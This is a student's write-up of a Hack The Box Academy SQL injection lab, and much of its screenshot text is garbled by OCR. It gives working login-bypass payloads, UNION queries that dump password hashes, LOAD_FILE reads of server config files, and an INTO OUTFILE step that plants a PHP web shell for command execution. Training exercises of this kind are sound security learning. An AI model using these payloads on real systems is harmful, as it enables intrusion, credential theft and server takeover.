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1. INTRODUCTION

This module teaches how to exploit SQL injection vulnerabilities to bypass authentication,
retrieve data from the backend database, and even achieve remote code execution. Additionally,
it explains how to patch your code and mitigate against these vulnerabilities.

2. ANSWERS TO QUESTIONS
MySQL Fundamentals
a. Connect to the database using the MySQL client from the command line. Use the

'show databases;' command to list databases in the DBMS. What is the name of the
first database?

o Run Jileyigsl

RIELERSS command to retrieve a list of existing databases.
e Answer = employees

iew Input Devices Help

Jun 24 09:52
o cypherpunk@votex: ~ Q i [x]
[if( =[=]
mysql -u root -h 94.237.49.212 -P 48783 -p
Enter password:
Welcome to the MariaDB monitor. Commands end with ; or \g.

Your MariaDB connection id is 3
Server version: 10.7.3-MariaDB-1:10.7.3+maria~focal mariadb.org binary distribution

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]> show databases;

employees

information_schema |
mysql |
performance_schema |

rows in set (0.161 sec)

MariaDB [(none)]>

b. What is the department number for the 'Development' department?
Choose the employees database using the command IS o) IONIEIEE;

e List the existing tables in the database with SilelERIIER:
e Retrieve records from the departments table.
e Answer = d005



le  Machine  View

Activities @8 Terminal Jun24 11:24

o cypherpunk@votex: ~ Q i (<]

MariaDB [(none)]>| use employees;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [employees]> show tables;
o —

¥
| Tables_in_employees |
e mm e +
|
|
|
|
|
|
|
|

current_dept_emp
departments

dept_emp
dept_emp_latest_date
dept_manager
employees

salaries

titles

rows in set (0.222 sec)

MariaDB [employees]> select * from departments;

Customer Service
Development
Finance
Human Resources
Marketing
Production
Quality Management
Research
Sales
i
9 rows in set (0.162 sec)

MariaDB [employees]> ||

0 ¢ WOT S @ B right il
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c. What is the last name of the employee whose first name starts with "Bar" AND who
was hired on 1990-01-01?
e List the tables under employees database.
e View the structure of the employees table with the describe command.
e Retrieve the records of the tables that match the pattern given. Answer = Mitchem

e Machine View put D s Help

Activities @8 Terminal Jun 24 11:32

o cypherpunk@votex: ~ Q i (<]

MariaDB [employees]> show tables;

P R, ¥

| Tables_in_employees |

R +
current_dept_emp |
departments |
dept_emp |
dept_emp_latest_date |
dept_manager |
employees |
salaries |
titles |

rows in set (0.160 sec)

MariaDB [employees]> desc employees;
4o mmmmm o T B e +
| Field | Null | Key | Extra |
mm mm e e i e fmmmmmmmm e e e =
emp_no | PRI
birth date | date
first_name | varchar(14)
| last_name | varchar(16)
| gender enum('M','F')
| hire_date date
P = e = s e
6 rows in set (0.170 sec)

MariaDB [employees]> select * from employees where first_name like "Bar%" and hire_date='1990-01-01';

R s o

10227 | 1953-10-09 | Mitchem | 1990-01-01 |
- S -4 ) S +- -+
1 row in set (0.214 sec)

MariaDB [employees]> [}

0 G ¢ WO S @ B roht el
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d. In the 'titles' table, what is the number of records WHERE the employee number is
greater than 10000 OR their title does NOT contain 'engineer'?
e View the structure of the titles table with the describe command.
e Use the count() function to count the number of records returned that match
employee number higher than 10000 or title that does not contain ‘engineer.’
e Answer = 654

]

File Machine View Input Devices Help

Activities @8 Terminal Jun 24 11:43

a cypherpunk@votex: ~ Q i [x]

MariaDB [employees]> desc titles;
[ ccccccaa occccccccccas bocnaaa: bomeaa $rcccnanea focccaaa +
| Null | Key | Default | Extra |
PR bmmmmmm e tmmmmme tmmmmm 4mmmmmmmme fmmmmmme +
| emp_no | int(11) | PRI | NULL |
| _title | varchar(50) | NO | PRI | NULL |
| from_date | date | NOo | PRI | NULL |
| to_date | date | YES | | NULL |

4 rows in set (0.308 sec)

MariaDB [employees]> select count(*) from titles where emp_no > 10000 or title not like "%engineer%";
+ +

| |

P

==+

1 row in set (0.168 sec)

MariaDB [employees]> ]

SQL Injections
a. Try to log in as the user 'tom'. What is the flag value shown after you successfully
log in?
e Try any password. The application returns login failed plus the query that has
been executed.
e From the SQL logic, we can insert the payload tom’ or ‘1’="1 to bypass the login
with any password.



v @ Inlanefreight X+

<& C A Notsecure 83.136.253.64:

@ Crackmes % Gmail » YouTube & Maps [ All Bookmarks

Admin panel
Executing query: SELECT * FROM logins WHERE username="tom' AND password = 'password';

Login failed!

Username

tom’ or '"1'="1

v @ Inlanefreight X+

< C A Notsecure 83.136.253.64
[ All Bookmarks

@ Crackmes & Gmail » YouTube & Maps

'—‘ fa\se

rue Ise
Adm| panel ,_L‘

Executing query: SELECT * FROM logins \/\/HERE username= tom or 1'="1" AND pds%mord = 'password’;

Login successful as user: tom

202a1d1a8b195d5e9a57e434cc16000c I

Click here to try again

b. Login as the user with the id 5 to get the flag.
e Again, try a random username and password to view the SQL logic.
e The SQL logic and id>1 try to prevent the admin from loging in from the web
application.
e We can bypass this with the payload doesnotexist’ or id =5); # which will return
true since there exists a user with id 5. The # comments everything else out
allowing us to log in as the user with id 5 without a password.



v @ Inlanefreight X +

< C  ANotseare 9423752167

@ Crackmes & Gmail » YouTube & Maps [ All Bookmarks

Admin panel

Executing query: SELECT * FROM logins WHERE (username='admin' AND id > 1) AND password = '9ce21d8f3992d89a325aa9dcf520a591';

Login failed!

v @ Inlanefreight X+

<« C A Notsecure 94.237.52.167.

@ Crackmes & Gmail > YouTube & Maps [ All Bookmarks

Admin panel

Executing query: SELECT * FROM logins WHERE (username='doesnotexist' or id = 5); # AND id > 1) AND password = 'd41d8cd98f00b204e9800998ecf8427¢"

Login successful as user:|superadmin

Here's the flag FdadQecdf(%fﬂ 4b45ff5c4de32909caec

Click here to try again

injecting query = doesnotexist' or id =5); #

@ | O search it ® A ) & 20°C Mostlycloudy ~ M @ ® & @ 122 B

c. Connect to the above MySQL server with the 'mysql' tool, and find the number of
records returned when doing a 'Union’' of all records in the 'employees' table and all
records in the 'departments' table.

e View the structure of the employees and departments tables using the describe
command.
e Count all records returned that match the condition given.



e This requires saving the result set as another table for the duration of the query
using the AS command and then selecting all records from that table.

e Note that we need to select junk columns in the second query to make the UNION
compatible with the same number of columns.

File Machine View Devices Help

A s @ Terminal

a cypherpunk@votex: ~

Support MariaDB developers by giving a star at https://github.com/MariaDB/server
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>| use employees;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [employees]> desc employees; desc departments;
Hmmmm e Hmmmm e +
Default | Extra |

int(11)

| birth_date | date

| first_name | varchar(14)
varchar(16)
enum('M','F')

————— Hommmmmt
| dept_no | char(4) | NO | PRI | NULL
| dept_name | varchar(40)

-
2 rows in set (0.202 sec)

MariaDB [employees]> select count(*) from (select * from employees union select %,3,4,5,6 from departments) as combined_emp_dept;

1 row in set (0.163 sec)

MariaDB [employees]> |}

O search i - g A ) o Result

d. Use a Union injection to get the result of 'user()’
e Inject the payload = US’ UNION SELECT 1,2,3,user(); — - to ensure the column
numbers are compatible with the first query.

v @ search Ports X  +

= C A Notsecure 94.237.54.176:

@ Crackmes & Gmail » YouTube & Maps 3 All Bookmarks

Search for a port: [ REESEFEN

Port Code Port City Port Volume
KR PUS Busan 19.850000381469727

2 3 root@localhost

SQL payload used = US' UNION SELECT 1,2,3,USER(); -



Exploitation
a. What is the password hash for 'newuser' stored in the 'users' table in the 'ilfreight’
database?
e Enumerate the database version using us” SELECT 1,2.3,@@version

v @ search Ports x +

< C A Notsecure 94.237.54.176:

@ Crackmes & Gmail » YouTube & Maps 3 All Bookmarks

Search for a port: I RFECET

Port Code Port City Port Volume
KR PUS Busan 19.850000381469727
2 3 10.3.22-MariaDB-1ubuntu1

X  +

G ANotsecure 9423754176

> YouTube § Maps

Search for a port: (EERITTEIPERS)

Port Code

ilfreight

Port City
2

Port Volume

3

e Check the current database using payload cn' UNION select 1,database(),2,3-- -

3 All Bookmarks

SQL payload = cn' UNION select 1,database(),2,3- -

e Enumerate the tables that exist in the current database using cn' UNION select
1,TABLE NAME,TABLE SCHEMA,4 from INFORMATION SCHEMA.TABLES where
table schema=ilfreight-- -

v Search Ports. X +

< C  ANotseare 9423754176

@ Crackmes & Gmail » YouTube & Maps 3 All Bookmarks

SEETCR TN e table_schema=freight~--

Port Code Port City Port Volume
products ilfreight 4
users ilfreight 4
ports ilfreight 4

SQL Payload = cn' UNION select 1, TABLE_NAME, TABLE_SCHEMA, 4 from INFORMATION_SCHEMA.TABLES where table_schema='ilfreight'-- -



e View the column names for the users table by injecting the payload cn' unION select
1,COLUMN NAME,TABLE NAME,TABLE SCHEMA from INFORMATION SCHEMA.COLUMNS where
table name=users-- -

v @ search Ports X  +

< C A Notseare 9423754176

@ Crackmes &4 Gmail » YouTube & Maps [ All Bookmarks

Search for a port

Port Code Port City Port Volume

USER users performance_schema
CURRENT_CONNECTIONS users performance_schema
TOTAL_CONNECTIONS users performance_schema
id users ilfreight

username users ilfreight

password users ilfreight

e Finally, dump the data in the users table with cn' uNION select 1, username,

password, 4 from users-- -

v @ search Ports x  +

<« (¢] A\ Notsecure  94.237.54.176:

@ Crackmes & Gmail » YouTube & Maps [ All Bookmarks

ESTET (e B (o] =N olo] o select 1,username passwor

Port Code Port City Port Volume
admin 392037dbba51f692776d6cefb6dd546d 3
newuser I 9da2c9bcdf39d8610954e0e 11ea8df4 57 3

SQL Payload = cn' UNION select 1,username,password,3 from users; -- -

b. We see in the above PHP code that 'Sconn’ is not defined, so it must be imported
using the PHP include command. Check the imported page to obtain the database
password.

e Below is the source code for the search.php file in reference that was loaded using
the mysql LOAD_FILE() function.



<?php
if (isset($_GET["port_code"])) {
$q = "Select * from ports where code like '%".$ GET["port_code"]."%'";

$result = mysqli_query($conn, $q);
if (!$result)
{

die("</table></div><p style='font-size: 15px'>".mysqli error($conn)."</p>");

}

while($row = mysqli fetch array($result))
{
echo "<tr><td style=\"width:400px\" colspan=3>".$row[1l]."</td><td style=\"width:400px\" colspan=3>".$row[2]."
}

}

7>

</thody>

</table>
</div>

e We can try to load it too and check the source code to see the file that was included which
contains the variable $conn defined.

- @ Ssearch Ports x +

< C A Notsecure 94.237.54.176

@ Crackmes & Gmail » YouTube & Maps [ All Bookmarks

Search for a port: [N NERTIL

SQL Payload = cn' UNION SELECT 1, LOAD_FILE("/var/www/html/search.php"), 3, 4-- -

Port Port
Port Code City Volume

Searchforaport: I

Port Code Port City Port Volume

".$row[1]." ".$row[2]." ".$row[3]."

e From the source code, the included file is config.php

v @ search Ports X @ view-source942375417639 X  +

C A Notsecure 94.237.54.176:

@ Crackmes &4 Gmail » YouTube & Maps 3 All Bookmarks

colspan=3




e We can read the file by loading it with the payload cn' uniow serEcT 1,
LOAD FILE ("/var/www/html/config.php"), 3, 4-- - and view the database password.

v Search Ports. X view-s

< G ANotsecure 9423754176

@ Crackmes &4 Gmail » YouTube & Maps 3 All Bookmarks

Search for a port: El IR

Port Code Port City Port Volume

"localhost’, 'DB_USERNAM oot
'DB_PASSWORD'=>[dB_pAsswOrd _iS_flag!',
'DB_DATABASE'=>'ilfreight" ); Sconn =
mysqli_connect($configDB_HOST,
SconfiglDB_USERNAME'], 3 4
$config['DB_PASSWORD'],
Sconfig[DB_DATABASE)); if
(mysqli_connect_errno($conn)) { echo "Failed
connecting. " . mysqli_connect_error() . "
ks

c. Find the flag by using a webshell.
To be able to write the web shell to the server we require:
I. A user with the file privilege enabled.
[I.  MySQL global secure file priv variable not enabled
Il Write access to the location we want to write to on the backend server

e We can use the payload cn' UNION SELECT 1, variable name,
variable value, 4 FROM information_schema.global_ variables where

variable name="secure file priv"-- - to check the value for the
secure_file priv variable. From the screenshot below, the value is blank, meaning
we are allowed to read files from the entire file system.

v @ search Ports x  +

< G A Notsecure 94237.54.12

@ Crackmes &4 Gmail » YouTube & Maps 3 All Bookmarks

Search for a port: [

Port Code Port City Port Volume

SECURE_FILE_PRIV 4




e Next, we write our web shell by utilizing the SELECT INTO OUTFILE statement using
cn' union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile
'/var/www/html/shell.php'-- -

v @ search Ports x +

€ C A Notsecure 94.237.54.12

@ Crackmes & Gmail » YouTube & Maps 3 All Bookmarks

Search for a port: ey

Port Code I Port City Port Volume

e Finally, we can list the root directory by passing the Is / command to the shell.php as the
parameter value to get the file name then read its contents with cat /flag.txt as shown
below.

v @ 94237541234237/shellphp?t X +

< C A Notsecure 94.237.54.12

@ Crackmes & Gmail > YouTube & Maps [ All Bookmarks

v @ 94237.54.1234237/shellphp?0 X+

€« (¢ A\ Notsecure  94.237.54.12:

@ Crackmes & Gmail » YouTube & Maps 3 All Bookmarks

d2b5b27ae688b6a0f1d21b7d3a0798cd




SKILLS ASSESSMENT

Assess the web application and use a variety of techniques to gain remote code execution
and find a flag in the / root directory of the file system. Submit the contents of the flag as
your answer.

e Bypass the authentication with the payload admin’ OR 1=1; — -

v Employee Login x  +

& > C  ANotseure 8313625364

@ Crackmes & Gmail » YouTube & Maps 3 All Bookmarks

[admin’ oR1=1- ‘

Freight‘ ,,,,,,,,,, |

Incorrect credentials

e View the current user by utilizing the user( ) function as shown below.

o Employee Dashboard X +

< C A Notsecure 83.136.253.64

@ Crackmes & Gmail > YouTube & Maps [ All Bookmarks

Payroll Information SQL payload = CN' UNION SELECT 1,2, USER(), 3, 4-- - ‘\CN' UNION SELECT 1,2, U m ‘

Name Month Amount Tax

2 root@localhost

3 4

e Check if the current user has super privileges. Y means Yes.

e Confirm Permission to read local filesystem files. The Privilege FILE as shown below
shows that we use the LOAD FILE( ) function to read files.



Employee Dashboard x  +

< C A Notsecure 83.136.253.64:

@ Crackmes & Gmail > YouTube & Maps

& TR
QL payload :]Ci' UNIOE SELECT 1,2, GRANTEE, PRIVILEGE_TYPE, 4 FR
Payroll Information
Amount
Sl 2 'root'@'localhost' SELECT 4
iy 2 ‘root'@'localhost' INSERT 4
b
2 ‘root'@'localhost' UPDATE 4
2 ‘root'@'localhost' DELETE 4
2 'root'@'localhost' CREATE 4
2 ‘root'@'localhost' DROP 4
2 ‘root'@'localhost' RELOAD 4
2 ‘root'@'localhost' SHUTDOWN 4
2 ‘root'@'localhost' PROCESS 4
2 ‘root'@'localhost' FILE 4
2 ‘root'@'localhost' REFERENCES 4
2 ‘root'@'localhost' INDEX 4 <

O search

o @ Employee Dashboard X +

< C A Notsecure 83.136.253.64:

@ Crackmes & Gmail » YouTube & Maps 3 All Bookmarks

Paer].l Informatlon [ELECT 1,2, VARIABLE_NA m

Name Month Amount Tax

2 l SECURE_FILE_PRIV I 4

SQL Payload = CN' UNION SELECT 1,2, VARIABLE_NAME, VARIABLE_VALUE, 4 FROM INFORMATION_SCHEMA.GLOBAL_VARIABLES WHERE VARIABLE_NAME="SECURE_FILE_PRIV"-- -

e Trying to write our webshell in the /var/www/html we get permissioned denied. We are
not allowed to create files in the root folder of the web application.

v @ Employee Dashboard x  +

< G ANotsere 8313625364

@ Crackmes 4 Gmail » YouTube & Maps [ All Bookmarks

SEARCH
o




e However we can write the webshell under the dashboard folder with the payload cn-
union select "",'<?php system($_REQUEST[0]); ?>', "", "" into outfile
' /var/www/html/dashboard/shell.php'-- -
- Y — x4

<« [¢] A Notsecure  83.136.253.64:

@ Crackmes & Gmail » YouTube & Maps

Amount

January

James March 12138 8%

O - -

e Finally, we can pass the Is / command to the web shell to list the contents of the root
folder. This gives us the filename for the flag file.
e With that, we can read its contents and retrieve the flag, as shown below.

v @ 8313625364:54184/dashboarc X +

< c A\ Notsecure 83.136.253.64

@ Crackmes & Gmail » YouTube & Maps [ All Bookmarks

bin boot dev etc|fla; dadced174.txt|home lib 1ib32 lib64 libx32 media mnt opt proc root run sbin srv sys tmp usr var

v @ 83.136.253.64:54184/dashboar. X +

< G ANotsecure 8313625364

@ Crackmes & Gmail > YouTube & Maps [ All Bookmarks

528d6d9cedc2c7aab146ef226e918396




3. MODULE COMPLETION
https://academy.hackthebox.com/achievement/144829/33

nment 1: S X @ sql Injection Fundamentals X

Cc 25 academy.hackthebox.com,

@ Crackmes & Gmail » YouTube & Maps [ All Bookmarks

To keep your account secure, move your 2FA to HTB Account by June 27th
“ Enable now

The 2FA of Academy, will be disabled soon, so be sure you have 2FA enabled on SSO side.

Great job c1ph3rbnuk!

SQL

You have just com
Let's share your success with everyone!

in Shareonlinkedin X ShareonX £ Share on Facebook

@ Geta shareable link

/O search =1 § ¢ o & 23°C Mostlycloudy ~ M & ® & =™ 1en [J

4. CONCLUSION

This assignment has taught me how to perform a union-based SQL injection. I have learned to
bypass authentication mechanisms by injecting SQL payloads into the database query. I have
also learned how to enumerate databases, leading to exposing sensitive data using the UNION
clause. I have also learned how to read local files using the LOAD FILE( ) function and write
files with the SELECT INTO OUTFILE statement, resulting in writing web shells and
performing remote code execution on the server. Finally, I have learned how to mitigate these
SQL vulnerabilities by validating user inputs and using parameterized queries.


https://academy.hackthebox.com/achievement/144829/33

